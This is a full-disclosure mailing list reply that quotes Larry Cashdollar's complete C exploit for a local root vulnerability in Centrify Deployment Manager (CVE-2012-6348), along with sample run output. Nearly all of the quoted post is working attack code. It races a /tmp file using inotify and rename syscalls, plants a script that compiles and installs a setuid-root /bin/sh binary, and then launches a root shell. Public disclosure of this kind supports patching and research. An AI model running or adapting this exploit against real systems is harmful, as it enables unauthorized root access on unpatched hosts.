full-disclosure - Re: Local root exploit for Centrify Deployment Manager

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Date: Tue, 18 Dec 2012 15:51:03 -0500
From: Jeffrey Walton <noloader@...il.com>
To: "Larry W. Cashdollar" <larry0@...com>
Cc: full <full-disclosure@...ts.grok.org.uk>
Subject: Re: Local root exploit for Centrify Deployment
 Manager < v2.1.0.283 local root

I've got a feeling you will not be sent to anymore vendor classes :)

On Tue, Dec 18, 2012 at 3:49 PM, Larry W. Cashdollar <larry0@...com> wrote:
> /*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root,
> Centrify released a fix very quickly  - nice vendor response.
>
> http://vapid.dhs.org/exploits/centrify_local_r00t.c
>
> CVE-2012-6348  12/17/2012
> http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html
> Greetings vladz,  Thanks for the inotify & syscall technique.
>
> This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php
>
> Run the exploit and wait for administrator to analyse or deploysoftware
> to the system.
>
> larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0
> [*] Launching attack against "centrify.cmd.0"
> [+] Creating evil script (/tmp/evil)
> [+] Creating target file (/bin/touch /tmp/centrify.cmd.0)
> [+] Initialize inotify
> [+] Waiting for root to launch "centrify.cmd.0"
> [+] Opening root shell (/tmp/sh)
> #
>
> Larry W. Cashdollar
> @_larry0
> */
>
>
> #include <stdlib.h>
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <string.h>
> #include <sys/inotify.h>
> #include <fcntl.h>
> #include <sys/syscall.h>
>
> /*Create a small c program to pop us a root shell*/
> int create_nasty_shell(char *file) {
>   char *s = "#!/bin/bash\n"
>             "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
>             "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
>             "chmod 4755 /tmp/sh;\n";
>
>   int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
>   write(fd, s, strlen(s));
>   close(fd);
>
>   return 0;
> }
>
>
> int main(int argc, char **argv) {
>   int fd, wd;
>   char buf[1], *targetpath, *cmd,
>        *evilsh = "/tmp/evil", *trash = "/tmp/trash";
>
>   if (argc < 2) {
>     printf("Usage: %s <target file> \n", argv[0]);
>     return 1;
>   }
>
>   printf("[*] Launching attack against \"%s\"\n", argv[1]);
>
>   printf("[+] Creating evil script (/tmp/evil)\n");
>   create_nasty_shell(evilsh);
>
>   targetpath = malloc(sizeof(argv[1]) + 6);
>   cmd = malloc(sizeof(char) * 32);
>   sprintf(targetpath, "/tmp/%s", argv[1]);
>   sprintf(cmd,"/bin/touch %s",targetpath);
>   printf("[+] Creating target file (%s)\n",cmd);
>   system(cmd);
>
>   printf("[+] Initialize inotify\n");
>   fd = inotify_init();
>   wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);
>
>   printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]);
>   syscall(SYS_read, fd, buf, 1);
>   syscall(SYS_rename, targetpath,  trash);
>   syscall(SYS_rename, evilsh, targetpath);
>
>   inotify_rm_watch(fd, wd);
>
>   printf("[+] Opening root shell (/tmp/sh)\n");
>   sleep(2);
>   system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
>
>   return 0;
> }

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